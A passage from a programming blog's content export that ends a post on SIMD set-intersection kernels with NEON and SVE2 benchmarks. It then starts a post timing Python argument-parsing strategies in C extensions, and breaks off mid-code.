is in bad taste, but beyond that, it\u0026rsquo;s not portable with respect to MSVC and less popular compilers. One approach would be to implement it in inlined-assembly:\n1 2 3 4 5 int _simsimd_clz_u64(simsimd_u64_t value) { simsimd_u64_t result; __asm__(\u0026#34;clz %x0, %x1\u0026#34; : \u0026#34;=r\u0026#34;(result) : \u0026#34;r\u0026#34;(value)); return (int)result; } However, MSVC also doesn\u0026rsquo;t support inline assembly. In StringZilla, I needed a general-purpose solution and implemented vanilla serial variants if compiler support was missing. It\u0026rsquo;s ugly code with some common bit-twiddling hacks and mess #if preprocessor macros. A better solution for Arm was to aggregate the counts within the loop body and horizontally sum them outside the end, so we only do this on the hot path:\n1 2 3 4 5 6 7 8 9 10 11 12 // Now we are likely to have some overlap, so we can intersect the registers. // We can do it by performing a population count at every cycle, but it\u0026#39;s not the cheapest in terms of cycles. // // simsimd_u64_t a_matches = __builtin_popcountll( // _simsimd_u8_to_u4_neon(vreinterpretq_u8_u16( // _simsimd_intersect_u16x8_neon(a_vec.u16x8, b_vec.u16x8)))); // c += a_matches / 8; // // Alternatively, we can we can transform match-masks into \u0026#34;ones\u0026#34;, accumulate them between the cycles, // and merge all together in the end. uint16x8_t a_matches = _simsimd_intersect_u16x8_neon(a_vec.u16x8, b_vec.u16x8); c_counts_vec.u16x8 = vaddq_u16(c_counts_vec.u16x8, vandq_u16(a_matches, vdupq_n_u16(1))); Population counts - solved! Counting leading zeros is harder. We can use the vclz instruction in NEON. Looking through Arm documentation, we can find all the supported variants of the intrinsic:\nSIMD ISA Return Type Name Arguments Neon int8x8_t vclz_s8 (int8x8_t a) Neon int8x16_t vclzq_s8 (int8x16_t a) Neon int16x4_t vclz_s16 (int16x4_t a) Neon int16x8_t vclzq_s16 (int16x8_t a) Neon int32x2_t vclz_s32 (int32x2_t a) Neon int32x4_t vclzq_s32 (int32x4_t a) Neon uint8x8_t vclz_u8 (uint8x8_t a) Neon uint8x16_t vclzq_u8 (uint8x16_t a) Neon uint16x4_t vclz_u16 (uint16x4_t a) Neon uint16x8_t vclzq_u16 (uint16x8_t a) Neon uint32x2_t vclz_u32 (uint32x2_t a) Neon uint32x4_t vclzq_u32 (uint32x4_t a) Notice that we need a variant for 64-bit integers, but it\u0026rsquo;s not defined. We can circumvent that in 2 ways:\nFurther shrinking masks from 64-bits to 32-bit integers before vclz, or Treat the 64-bit masks as a pair of concatenated 32-bit masks and mix them afterward. For now, I couldn\u0026rsquo;t find a way to apply those ideas, sometimes losing as much as 50% of the performance compared to the following solution:\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 void simsimd_intersect_u16_neon( simsimd_u16_t const* a, simsimd_u16_t const* b, simsimd_size_t a_length, simsimd_size_t b_length, simsimd_distance_t* results) { simsimd_u16_t const* const a_end = a + a_length; simsimd_u16_t const* const b_end = b + b_length; union vec_t { uint16x8_t u16x8; simsimd_u16_t u16[8]; simsimd_u8_t u8[16]; } a_vec, b_vec, c_counts_vec; c_counts_vec.u16x8 = vdupq_n_u16(0); while (a + 8 \u0026lt; a_end \u0026amp;\u0026amp; b + 8 \u0026lt; b_end) { a_vec.u16x8 = vld1q_u16(a); b_vec.u16x8 = vld1q_u16(b); // Intersecting registers with `_simsimd_intersect_u16x8_neon` involves a lot of shuffling // and comparisons, so we want to avoid it if the slices don\u0026#39;t overlap at all.. simsimd_u16_t a_min; simsimd_u16_t a_max = a_vec.u16[7]; simsimd_u16_t b_min = b_vec.u16[0]; simsimd_u16_t b_max = b_vec.u16[7]; // If the slices don\u0026#39;t overlap, advance the appropriate pointer while (a_max \u0026lt; b_min \u0026amp;\u0026amp; a + 16 \u0026lt; a_end) { a += 8; a_vec.u16x8 = vld1q_u16(a); a_max = a_vec.u16[7]; } a_min = a_vec.u16[0]; while (b_max \u0026lt; a_min \u0026amp;\u0026amp; b + 16 \u0026lt; b_end) { b += 8; b_vec.u16x8 = vld1q_u16(b); b_max = b_vec.u16[7]; } b_min = b_vec.u16[0]; // Now we are likely to have some overlap, so we can intersect the registers. uint16x8_t a_matches = _simsimd_intersect_u16x8_neon(a_vec.u16x8, b_vec.u16x8); c_counts_vec.u16x8 = vaddq_u16(c_counts_vec.u16x8, vandq_u16(a_matches, vdupq_n_u16(1))); // Counting leading zeros is tricky. uint16x8_t a_last_broadcasted = vdupq_n_u16(a_max); uint16x8_t b_last_broadcasted = vdupq_n_u16(b_max); simsimd_u64_t a_step = _simsimd_clz_u64(_simsimd_u8_to_u4_neon( // vreinterpretq_u8_u16(vcleq_u16(a_vec.u16x8, b_last_broadcasted)))); simsimd_u64_t b_step = _simsimd_clz_u64(_simsimd_u8_to_u4_neon( // vreinterpretq_u8_u16(vcleq_u16(b_vec.u16x8, a_last_broadcasted)))); a += (64 - a_step) / 8; b += (64 - b_step) / 8; } simsimd_intersect_u16_serial(a, b, a_end - a, b_end - b, results); *results += vaddvq_u16(c_counts_vec.u16x8); } The _simsimd_clz_u64 currently falls back to a serial __builtin_clzll. Even with that and only 128-bit registers, the performance is still decent:\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 -------------------------------------------------------------------------------------------------------- Benchmark Time CPU Iterations UserCounters... -------------------------------------------------------------------------------------------------------- intersect_u16_neon\u0026lt;#A=128,#B=128,#A∩B=1\u0026gt; 195 ns 195 ns 72473251 pairs=5.12346M/s intersect_u16_neon\u0026lt;#A=128,#B=128,#A∩B=6\u0026gt; 193 ns 193 ns 71826322 pairs=5.17983M/s intersect_u16_neon\u0026lt;#A=128,#B=128,#A∩B=64\u0026gt; 181 ns 181 ns 76859132 pairs=5.51211M/s intersect_u16_neon\u0026lt;#A=128,#B=128,#A∩B=121\u0026gt; 161 ns 161 ns 86301671 pairs=6.22906M/s intersect_u16_neon\u0026lt;#A=128,#B=1024,#A∩B=1\u0026gt; 1199 ns 1027 ns 13866808 pairs=973.295k/s intersect_u16_neon\u0026lt;#A=128,#B=1024,#A∩B=6\u0026gt; 1171 ns 1034 ns 13729254 pairs=966.886k/s intersect_u16_neon\u0026lt;#A=128,#B=1024,#A∩B=64\u0026gt; 1120 ns 1038 ns 13671085 pairs=963.804k/s intersect_u16_neon\u0026lt;#A=128,#B=1024,#A∩B=121\u0026gt; 1150 ns 1051 ns 13070692 pairs=951.238k/s intersect_u16_neon\u0026lt;#A=128,#B=8192,#A∩B=1\u0026gt; 2587 ns 2446 ns 5685615 pairs=408.885k/s intersect_u16_neon\u0026lt;#A=128,#B=8192,#A∩B=6\u0026gt; 2595 ns 2490 ns 5538880 pairs=401.615k/s intersect_u16_neon\u0026lt;#A=128,#B=8192,#A∩B=64\u0026gt; 2482 ns 2460 ns 5704185 pairs=406.459k/s intersect_u16_neon\u0026lt;#A=128,#B=8192,#A∩B=121\u0026gt; 2512 ns 2512 ns 5592948 pairs=398.064k/s intersect_u16_neon\u0026lt;#A=1024,#B=1024,#A∩B=10\u0026gt; 1599 ns 1573 ns 8893290 pairs=635.781k/s intersect_u16_neon\u0026lt;#A=1024,#B=1024,#A∩B=51\u0026gt; 1570 ns 1570 ns 8950291 pairs=637.098k/s intersect_u16_neon\u0026lt;#A=1024,#B=1024,#A∩B=512\u0026gt; 1488 ns 1488 ns 9449103 pairs=672.121k/s intersect_u16_neon\u0026lt;#A=1024,#B=1024,#A∩B=972\u0026gt; 1332 ns 1332 ns 10582682 pairs=751.007k/s intersect_u16_neon\u0026lt;#A=1024,#B=8192,#A∩B=10\u0026gt; 8997 ns 8997 ns 1556944 pairs=111.144k/s intersect_u16_neon\u0026lt;#A=1024,#B=8192,#A∩B=51\u0026gt; 8999 ns 8999 ns 1554324 pairs=111.128k/s intersect_u16_neon\u0026lt;#A=1024,#B=8192,#A∩B=512\u0026gt; 9126 ns 9070 ns 1543769 pairs=110.257k/s intersect_u16_neon\u0026lt;#A=1024,#B=8192,#A∩B=972\u0026gt; 9089 ns 9089 ns 1536462 pairs=110.029k/s Highlights:\nBenchmark Serial 🆕 NEON Small: #A=128,#B=128,#A∩B=1 1'628 K/s 5'123 K/s Medium: #A=128,#B=1024,#A∩B=6 393 K/s 963 K/s Large: #A=1024,#B=1024,#A∩B=512 218 K/s 672 K/s Largest: #A=1024,#B=8192,#A∩B=972 49 K/s 110 K/s Matching \u0026amp; Histograms in SVE2 Dessert, at last! Arm SVE2 is a new SIMD extension available on the latest Arm CPUs. It is a way to stretch the idea of runtime-defined vector length to non-trivial, often integer operations, applied at a 128-bit single-lane granularity or the whole vector.\nSVE2 has a MATCH instruction that can be used to compute the intersection of two vectors. This one operates at a lane granularity and can be used for 16-bit inputs, so we need to apply it several times to cover the whole vector.\n1 2 3 4 5 6 7 8 simsimd_size_t const register_size = svcnth(); // Number of 16-bit elements in a vector simsimd_size_t const lanes_count = register_size / 8; // 8 elements in a 128-bit vector svbool_t equal_mask = svmatch_u16(a_progress, a_vec, b_vec); for (simsimd_size_t i = 1; i \u0026lt; lanes_count; i++) { b_vec = svext_u16(b_vec, b_vec, 8); equal_mask = svorr_z(svptrue_b16(), equal_mask, svmatch_u16(a_progress, a_vec, b_vec)); } simsimd_size_t equal_count = svcntp_b16(svptrue_b16(), equal_mask); This is a great start, but the MATCH instruction is not available for 32-bit integers. We can emulate similar behavior by running a lot more iterations of svcmpeq_u32:\n1 2 3 4 5 6 svbool_t equal_mask = svpfalse_b(); for (simsimd_size_t i = 0; i \u0026lt; register_size; i++) { equal_mask = svorr_z(svptrue_b32(), equal_mask, svcmpeq_u32(a_progress, a_vec, b_vec)); b_vec = svext_u32(b_vec, b_vec, 1); } simsimd_size_t equal_count = svcntp_b32(a_progress, equal_mask); Alternatively, the new histogram instructions, such as HISTCN and the svhistcnt_u32_z intrinsic, can be used. For any element in the vector, it counts the number of times it appears in the other vectors prefix. It\u0026rsquo;s practically an inclusive prefix sum of equality matches and operates over the whole register. If we think of those intersections as a matrix of matches, it is equivalent to the lower triangle of the row-major intersection matrix. To compute the upper triangle, we can reverse (with svrev_b32) the order of elements and repeat the operation, accumulating the results for the top and bottom:\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 // ⊐ α = {A, B, C, D}, β = {X, Y, Z, W}: // // hist(α, β): hist(α_rev, β_rev): // // X Y Z W W Z Y X // A 1 0 0 0 D 1 0 0 0 // B 1 1 0 0 C 1 1 0 0 // C 1 1 1 0 B 1 1 1 0 // D 1 1 1 1 A 1 1 1 1 // svuint32_t hist_lower = svhistcnt_u32_z(a_progress, a_vec, b_vec); svuint32_t a_rev_vec = svrev_u32(a_vec); svuint32_t b_rev_vec = svrev_u32(b_vec); svuint32_t hist_upper = svrev_u32(svhistcnt_u32_z(svptrue_b32(), a_rev_vec, b_rev_vec)); svuint32_t hist = svorr_u32_x(a_progress, hist_lower, hist_upper); svbool_t equal_mask = svcmpne_n_u32(a_progress, hist, 0); simsimd_size_t equal_count = svcntp_b32(a_progress, equal_mask); This is the most elegant of today\u0026rsquo;s solutions. And the performance looks mostly good:\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 -------------------------------------------------------------------------------------------------------- Benchmark Time CPU Iterations UserCounters... -------------------------------------------------------------------------------------------------------- intersect_u16_sve2\u0026lt;#A=128,#B=128,#A∩B=1\u0026gt; 179 ns 178 ns 77997900 pairs=5.60245M/s intersect_u16_sve2\u0026lt;#A=128,#B=128,#A∩B=6\u0026gt; 179 ns 179 ns 77959137 pairs=5.59776M/s intersect_u16_sve2\u0026lt;#A=128,#B=128,#A∩B=64\u0026gt; 170 ns 170 ns 82829421 pairs=5.88598M/s intersect_u16_sve2\u0026lt;#A=128,#B=128,#A∩B=121\u0026gt; 143 ns 143 ns 97771708 pairs=6.9995M/s intersect_u16_sve2\u0026lt;#A=128,#B=1024,#A∩B=1\u0026gt; 900 ns 900 ns 15430306 pairs=1.11111M/s intersect_u16_sve2\u0026lt;#A=128,#B=1024,#A∩B=6\u0026gt; 909 ns 909 ns 15374525 pairs=1099.58k/s intersect_u16_sve2\u0026lt;#A=128,#B=1024,#A∩B=64\u0026gt; 922 ns 922 ns 15025863 pairs=1085.12k/s intersect_u16_sve2\u0026lt;#A=128,#B=1024,#A∩B=121\u0026gt; 932 ns 932 ns 15083373 pairs=1072.6k/s intersect_u16_sve2\u0026lt;#A=128,#B=8192,#A∩B=1\u0026gt; 2135 ns 2135 ns 6460842 pairs=468.333k/s intersect_u16_sve2\u0026lt;#A=128,#B=8192,#A∩B=6\u0026gt; 2118 ns 2118 ns 6509484 pairs=472.238k/s intersect_u16_sve2\u0026lt;#A=128,#B=8192,#A∩B=64\u0026gt; 2138 ns 2138 ns 6468742 pairs=467.706k/s intersect_u16_sve2\u0026lt;#A=128,#B=8192,#A∩B=121\u0026gt; 2136 ns 2136 ns 6419653 pairs=468.097k/s intersect_u16_sve2\u0026lt;#A=1024,#B=1024,#A∩B=10\u0026gt; 1502 ns 1502 ns 9329372 pairs=665.698k/s intersect_u16_sve2\u0026lt;#A=1024,#B=1024,#A∩B=51\u0026gt; 1492 ns 1492 ns 9375601 pairs=670.246k/s intersect_u16_sve2\u0026lt;#A=1024,#B=1024,#A∩B=512\u0026gt; 1416 ns 1416 ns 9859829 pairs=706.16k/s intersect_u16_sve2\u0026lt;#A=1024,#B=1024,#A∩B=972\u0026gt; 1274 ns 1274 ns 11052636 pairs=785.05k/s intersect_u16_sve2\u0026lt;#A=1024,#B=8192,#A∩B=10\u0026gt; 9148 ns 9148 ns 1528714 pairs=109.319k/s intersect_u16_sve2\u0026lt;#A=1024,#B=8192,#A∩B=51\u0026gt; 9150 ns 9150 ns 1529679 pairs=109.287k/s intersect_u16_sve2\u0026lt;#A=1024,#B=8192,#A∩B=512\u0026gt; 9148 ns 9147 ns 1527762 pairs=109.32k/s intersect_u16_sve2\u0026lt;#A=1024,#B=8192,#A∩B=972\u0026gt; 9135 ns 9135 ns 1529316 pairs=109.473k/s Highlights look comparable:\nBenchmark Serial NEON 🆕 SVE2 Small: #A=128,#B=128,#A∩B=1 1'628 K/s 5'123 K/s 5'602 K/s Medium: #A=128,#B=1024,#A∩B=6 393 K/s 963 K/s 1'099 K/s Large: #A=1024,#B=1024,#A∩B=512 218 K/s 672 K/s 706 K/s Largest: #A=1024,#B=8192,#A∩B=972 49 K/s 110 K/s 109 K/s But there are some artifacts this picture can\u0026rsquo;t show. The u16 SVE2 variant is always at least as fast as NEON. The u32 is a different story. In some cases, like \u0026lt;#A=128,#B=128,#A∩B=121\u0026gt; it\u0026rsquo;s a bit faster; in some, like \u0026lt;#A=128,#B=8192,#A∩B=1\u0026gt; it\u0026rsquo;s 50% slower. To reproduce, take a modern Arm CPU, like AWS Graviton 4, and try it yourself:\n1 2 3 cmake -D CMAKE_BUILD_TYPE=Release -D SIMSIMD_BUILD_BENCHMARKS=1 -B build_release cmake --build build_release --config Release build_release/simsimd_bench --benchmark_filter=intersect Still, SVE promises that once the CPUs get beefier, the registers will get wider, and the performance will skyrocket. Amen!\nIn the meantime, check out some of my GitHub projects for some more over-engineered tech and \u0026ldquo;good first issues\u0026rdquo; for potential contributors. Happy coding 🤗\nI\u0026#39;ve just released a collection of super-over-engineered Set Intersection kernels for database and search engines. These kernels are up to 5x faster than serial algorithms!\nSimSIMD was one of the only few libraries using Arm SVE. Now, it also uses SVE2!https://t.co/1kAq3Itw37\n\u0026mdash; Ash Vardanian (@ashvardanian) September 16, 2024 ","permalink":"https://ashvardanian.com/posts/simd-set-intersections-sve2-avx512/","summary":"\u003cp\u003eSet intersections are one of the standard operations in databases and search engines.\nThey are used in:\u003c/p\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://en.wikipedia.org/wiki/Tf%E2%80%93idf\"\u003eTF-IDF ranking\u003c/a\u003e in search engines,\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://en.wikipedia.org/wiki/Join_(SQL)\"\u003eTable Joins\u003c/a\u003e in OLAP databases,\u003c/li\u003e\n\u003cli\u003eGraph Algorithms.\u003c/li\u003e\n\u003c/ul\u003e\n\u003cp\u003eChances are, you rely on them every day, but you may not realize that they are some of the most complex operations to accelerate with \u003ca href=\"https://en.wikipedia.org/wiki/Single_instruction,_multiple_data\"\u003eSIMD instructions\u003c/a\u003e.\nSIMD instructions make up the majority of modern Assembly instruction sets on x86 and Arm. They can yield 10x speedups, but due to their complexity, they are almost never used in production codebases.\u003c/p\u003e","title":"5x Faster Set Intersections: SVE2, AVX-512, \u0026 NEON 🤐"},{"content":"Python has a straightforward syntax for positional and keyword arguments. Positional arguments are arguments passed to a function in a specific order, while keyword arguments are passed to a function by name. Surprising to most Python developers, the choice of positional vs keyword arguments can have huge implications on readability and performance.\nLet\u0026rsquo;s take the cdist interface as an example. It\u0026rsquo;s a function implemented in SimSIMD, mimicking SciPy, that computes all pairwise distances between two sets of points, each represented by a matrix. It accepts up to 6 arguments:\n2 positional arguments, A and B, represent the two point sets. 1 argument, which can be either positional or keyword, metric, that specifies the distance metric to use. 3 keyword-only arguments threads, dtype, and out_dtype that specify the number of threads to use, the input matrices\u0026rsquo; data type, and the output matrix\u0026rsquo;s data type, respectively. This article aims to profile the cost of parsing arguments in Python. Still, before one dives into performance optimizations, it\u0026rsquo;s essential to understand the design principles of a good API and why the current cdist declaration in __init__.pyi looks the way it does.\nGood Design Principles Ideally, the interface of a function should make it really hard to misuse. What happens if we abuse the interface and pass all arguments as positional?\n1 2 3 4 cdist() # TypeError: cdist() missing 2 required positional arguments: \u0026#39;A\u0026#39; and \u0026#39;B\u0026#39; cdist(A) # TypeError: cdist() missing 1 required positional argument: \u0026#39;B\u0026#39; cdist(A, B=B) # TypeError: cdist() got some positional-only arguments passed as keyword arguments: \u0026#39;B\u0026#39; cdist(A, B, \u0026#39;\u0026#39;, 1) # TypeError: cdist() takes from 2 to 3 positional arguments but 4 were given Coming from C++, this error message is constructive. Now, how do we preserve sanity?\nAvoiding *args and **kwargs One of Python\u0026rsquo;s most common \u0026ldquo;code smells\u0026rdquo; is abusing *args and **kwargs. Those allow you to pass an arbitrary number of positional and keyword arguments to a function.\n1 2 3 4 5 6 \u0026gt;\u0026gt;\u0026gt; def process_data(*args, **kwargs): ... print(f\u0026#34;Processing {len(args)} positional arguments of type {type(args)}\u0026#34;) ... print(f\u0026#34;Processing {len(kwargs)} keyword arguments of type {type(kwargs)}\u0026#34;) ... for key, value in kwargs.items(): ... print(f\u0026#34;- {key}: {value}\u0026#34;) \u0026gt;\u0026gt;\u0026gt; process_data(10, 11, a=12, b=13) Which will output:\n1 2 3 4 Processing 2 positional arguments of type \u0026lt;class \u0026#39;tuple\u0026#39;\u0026gt; Processing 2 keyword arguments of type \u0026lt;class \u0026#39;dict\u0026#39;\u0026gt; - a: 12 - b: 13 While such variadic arguments can be helpful in some cases, they add a layer of obscurity. The reader is forced to look at the function definition to understand what arguments are expected. In many cases, the reader will need to jump through multiple files to understand the function\u0026rsquo;s behavior. Just look at this object-oriented mess and ask yourself how many times you\u0026rsquo;ve seen something like this:\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 class BaseAction: def __init__(self, *args, **kwargs): self.user = kwargs.get(\u0026#39;user\u0026#39;, \u0026#39;guest\u0026#39;) self.verbose = kwargs.get(\u0026#39;verbose\u0026#39;, False) def execute(self, *args, **kwargs): print(f\u0026#34;Executing base action as {self.user}\u0026#34;) if self.verbose: print(\u0026#34;Verbose mode in base action\u0026#34;) class FileCleanupAction(BaseAction): def __init__(self, *args, **kwargs): super().__init__(*args, **kwargs) self.file_path = kwargs.get(\u0026#39;file_path\u0026#39;, None) def execute(self, *args, **kwargs): print(f\u0026#34;Cleaning up file: {self.file_path}\u0026#34;) super().execute(*args, **kwargs) class DatabaseBackupAction(BaseAction): def __init__(self, *args, **kwargs): super().__init__(*args, **kwargs) self.db_name = kwargs.get(\u0026#39;db_name\u0026#39;, None) def execute(self, *args, **kwargs): print(f\u0026#34;Backing up database: {self.db_name}\u0026#34;) super().execute(*args, **kwargs) Some of the most familiar repositories in the AI space, like Hugging Face\u0026rsquo;s Transformers and LangChain, struggle from this problem. Handling arguments like that would make our life easier, but the experience of the end-user would be a nightmare, so there is not a single *args or **kwargs in the SimSIMD __init__.pyi.\nDefault Arguments and Type Annotations Assuming you explicitly list all arguments in the function signature, the next natural step is to add default values and type annotations.\n1 2 3 4 5 from typing import List def f(x: List = []): x += (len(x),) return x There are a few pitfalls with this code. First, type annotations in Python have no effect on the runtime, so you may as well pass in a tuple or a set, and the code will still work. Second, the default values are evaluated at the time of the function definition, not at the time of the call. This means the following will be printed:\n1 2 3 4 5 print(f()) # [0] print(f()) # [0, 1] print(f(tuple())) # (0,) print(f()) # [0, 1, 2] print(f(set())) # `TypeError: unsupported operand type(s) for +=: \u0026#39;set\u0026#39; and \u0026#39;tuple\u0026#39;` A nice footgun, but there are other ways to encounter problems. My favorite is the missing library dependencies or mismatched Python versions.\n1 2 3 4 5 6 7 8 9 10 from typing import Optional, TypeAlias from numpy.typing import NDArray MetricType: TypeAlias = Literal[\u0026#39;cosine\u0026#39;, \u0026#39;sqeuclidean\u0026#39;] def cdist( A: NDArray, B: NDArray, /, metric: MetricType = \u0026#39;cosine\u0026#39;, *, threads: int = 1, dtype: Optional[str] = None, out_dtype: Optional[str] = None) -\u0026gt; NDArray: pass Python 3.10 introduced a typing.TypeAlias to help the LSP servers and static type checkers understand the code better. Without it, PyLance would raise:\nVariable not allowed in type expression\nIntegrating the type alias was easy, but in Python 3.12, the TypeAlias was deprecated in favor of the type statement, which creates instances of TypeAliasType and natively supports forward references. That type statement is only available in Python 3.12, so you\u0026rsquo;d have to wait for the next release to get rid of the warning or handle a special case. Moreover, the Literal type was introduced in Python 3.8, and the numpy.typing.NDArray was introduced in NumPy 1.21. Let\u0026rsquo;s simplify our code a bit:\n1 2 3 4 5 6 7 8 from typing import Optional from numpy import ndarray def cdist( A: ndarray, B: ndarray, /, metric: str = \u0026#39;cosine\u0026#39;, *, threads: int = 1, dtype: Optional[str] = None, out_dtype: Optional[str] = None) -\u0026gt; ndarray: pass If you are maintaining an extremely cross-platform library, this is also problematic. As of September 9, 2024, the latest version of NumPy is v2.1.1, and the latest version of SimSIMD is v5.1.0.\nNumPy v2.1.1 ships precompiled binaries for 52 targets. SimSIMD v5.1.0 ships precompiled binaries for 105 targets. So if we were to introduce np.ndarray symbols into our type annotations, we\u0026rsquo;d have to recompile NumPy sources for the 53 missing targets. Most compilations don\u0026rsquo;t currently pass in cibuildwheel, the default tool for building Python wheels. One way to avoid that is to use the native memoryview type, the Python counterpart of the underlying CPython buffer protocol. That interface will make your code more portable and compatible with other Tensor libraries, like PyTorch and TensorFlow.\n1 2 3 4 5 6 7 from typing import Optional def cdist( A: memoryview, B: memoryview, /, metric: str = \u0026#39;cosine\u0026#39;, *, threads: int = 1, dtype: Optional[str] = None, out_dtype: Optional[str] = None) -\u0026gt; memoryview: pass Lesson? Don\u0026rsquo;t be too smart with your type annotations, and don\u0026rsquo;t rely on the latest features of Python, if you are maintaining a library that is supposed to be used by a wide audience. In SimSIMD, for now, we assume the used Python version is 3.11 or similar, and configure the type annotations accordingly. No type statements for now.\nWith the design principles out of the way, let\u0026rsquo;s talk performance.\nHow Most Native Packages Handle Arguments PyArg_ParseTuple and PyArg_ParseTupleAndKeywords Python is a dynamic language, and the CPython objects are designed to be as flexible as possible. This flexibility comes at a cost, and the price is the performance.\nMost property lookups in CPython (1) are dictionary traversals, expensive string comparisons, and memory allocations. Most precompiled native (C/C++) extensions rely on high-level wrapper libraries like PyBind11 to handle argument parsing, which is even slower. Leaving (2.) out of the picture and just focusing on the recommended way of doing things, we open the CPython documentation page to see this:\nThe first three of these functions described, PyArg_ParseTuple(), PyArg_ParseTupleAndKeywords(), and PyArg_Parse(), all use format strings which are used to tell the function about the expected arguments. The format strings use the same syntax for each of these functions.\nUsing them in a C native extension isn\u0026rsquo;t that hard. One needs to lookup format specifiers, to learn that O is for arbitrary objects, s is for strings, and K is for unsigned long long integers:\n1 2 3 4 5 6 7 8 9 10 11 12 static PyObject* api_cdist(PyObject* self, PyObject* args, PyObject* kwargs) { PyObject* input_tensor_a = NULL; // Required object, positional-only PyObject* input_tensor_b = NULL; // Required object, positional-only char const* metric_str = NULL; // Optional string, positional or keyword unsigned long long threads = 1; // Optional integer, keyword-only char const* dtype_str = NULL; // Optional string, keyword-only char const* out_dtype_str = NULL; // Optional string, keyword-only static char* kwlist[] = {\u0026#34;input_tensor_a\u0026#34;, \u0026#34;input_tensor_b\u0026#34;, \u0026#34;metric\u0026#34;, \u0026#34;threads\u0026#34;, \u0026#34;dtype\u0026#34;, \u0026#34;out_dtype\u0026#34;, NULL}; if (!PyArg_ParseTupleAndKeywords(args, kwargs, \u0026#34;OO|s$Kss\u0026#34;, kwlist, \u0026amp;input_tensor_a, \u0026amp;input_tensor_b, \u0026amp;metric_str, \u0026amp;threads, \u0026amp;dtype_str, \u0026amp;out_dtype_str)) return NULL; Then, we recompile SimSIMD and run the following simple script:\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 import numpy as np from simsimd import cdist a = np.random.randn(16).astype(\u0026#34;float16\u0026#34;) b = np.random.randn(16).astype(\u0026#34;float16\u0026#34;) for _ in range(10_000_000): cdist( a, b, metric=\u0026#34;sqeuclidean\u0026#34;, threads=1, dtype=\u0026#34;float16\u0026#34;, out_dtype=\u0026#34;float64\u0026#34;, ) Timing it on a modern Intel Sapphire Rapids CPU, we get:\n1 2 3 4 $ time python dispatch.py \u0026gt; real 0m5.592s \u0026gt; user 0m6.875s \u0026gt; sys 0m0.018s What if we comment out the optional arguments like this:\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 import numpy as np from simsimd import cdist a = np.random.randn(16).astype(\u0026#34;float16\u0026#34;) b = np.random.randn(16).astype(\u0026#34;float16\u0026#34;) for _ in range(10_000_000): cdist( a, b, # metric=\u0026#34;sqeuclidean\u0026#34;, # threads=1, # dtype=\u0026#34;float16\u0026#34;, # out_dtype=\u0026#34;float64\u0026#34;, ) \u0026hellip; and re-run the script:\n1 2 3 4 $ time python dispatch.py \u0026gt; real 0m2.281s \u0026gt; user 0m3.509s \u0026gt; sys 0m0.013s We\u0026rsquo;ve just halfed the execution time, performing the same logic. So yes, argument parsing isn\u0026rsquo;t free!\nManually Unpacking Arguments PyTuple_GetItem and PyDict_GetItem We can do better than PyArg_ParseTupleAndKeywords by manually unpacking the arguments. It\u0026rsquo;s just a tuple and a dictionary, after all.\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 static PyObject* api_cdist(PyObject* self, PyObject* args, PyObject* kwargs) { // This function accepts up to 6 arguments: PyObject* input_tensor_a = NULL; // Required object, positional-only PyObject* input_tensor_b = NULL; // Required object, positional-only PyObject* metric_obj = NULL; // Optional string, positional or keyword PyObject* threads_obj = NULL; // Optional integer, keyword-only PyObject* dtype_obj = NULL; // Optional string, keyword-only PyObject* out_dtype_obj = NULL; // Optional string, keyword-only if (!PyTuple_Check(args) || PyTuple_Size(args) \u0026lt; 2 || PyTuple_Size(args) \u0026gt; 3) { PyErr_SetString(PyExc_TypeError, \u0026#34;Function expects 2-3 positional arguments\u0026#34;); return NULL; } input_tensor_a = PyTuple_GetItem(args, 0); input_tensor_b = PyTuple_GetItem(args, 1); if (PyTuple_Size(args) \u0026gt; 2) metric_obj = PyTuple_GetItem(args, 2); // Checking for named arguments in kwargs if (kwargs) { threads_obj = PyDict_GetItemString(kwargs, \u0026#34;threads\u0026#34;); dtype_obj = PyDict_GetItemString(kwargs, \u0026#34;dtype\u0026#34;); out_dtype_obj = PyDict_GetItemString(kwargs, \u0026#34;out_dtype\u0026#34;); int count_extracted = (threads_obj != NULL) + (dtype_obj != NULL) + (out_dtype_obj != NULL); if (!metric_obj) { metric_obj = PyDict_GetItemString(kwargs, \u0026#34;metric\u0026#34;); count_extracted += metric_obj != NULL; } else if (PyDict_GetItemString(kwargs, \u0026#34;metric\u0026#34;)) { PyErr_SetString(PyExc_ValueError, \u0026#34;Duplicate argument for \u0026#39;metric\u0026#39;\u0026#34;); return NULL; } // Check for unknown arguments int count_received = PyDict_Size(kwargs); if (count_received \u0026gt; count_extracted) { PyErr_SetString(PyExc_ValueError, \u0026#34;Received unknown keyword argument\u0026#34;); return NULL; } } // Once parsed, the arguments will be stored in these variables: char const* metric_str = NULL; unsigned long long threads = 1; char const* dtype_str = NULL; char const* out_dtype_str = NULL; // The rest is pretty much the same, except for some type checks for `metric_obj`, // `threads_obj`, `dtype_obj`, and `out_dtype_obj`. Recompiling SimSIMD and running the script:\n1 2 3 4 $ time python dispatch.py \u0026gt; real 0m4.489s \u0026gt; user 0m5.805s \u0026gt; sys 0m0.019s We\u0026rsquo;ve just gone from 6.875s to 5.805s, a 15% speedup. Good start.\nManually Unpacking in a Single Pass PyDict_Next and PyUnicode_CompareWithASCIIString We have called PyDict_GetItemString many times, and it is a dictionary lookup. A dictionary can be implemented as a hash table, and the lookup time is O(1), but the constant factor is still there. We can do it in a single loop, assuming we plan to assign all passed arguments to variables.\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 static PyObject* api_cdist(PyObject* self, PyObject* args, PyObject* kwargs) { // This function accepts up to 6 arguments: 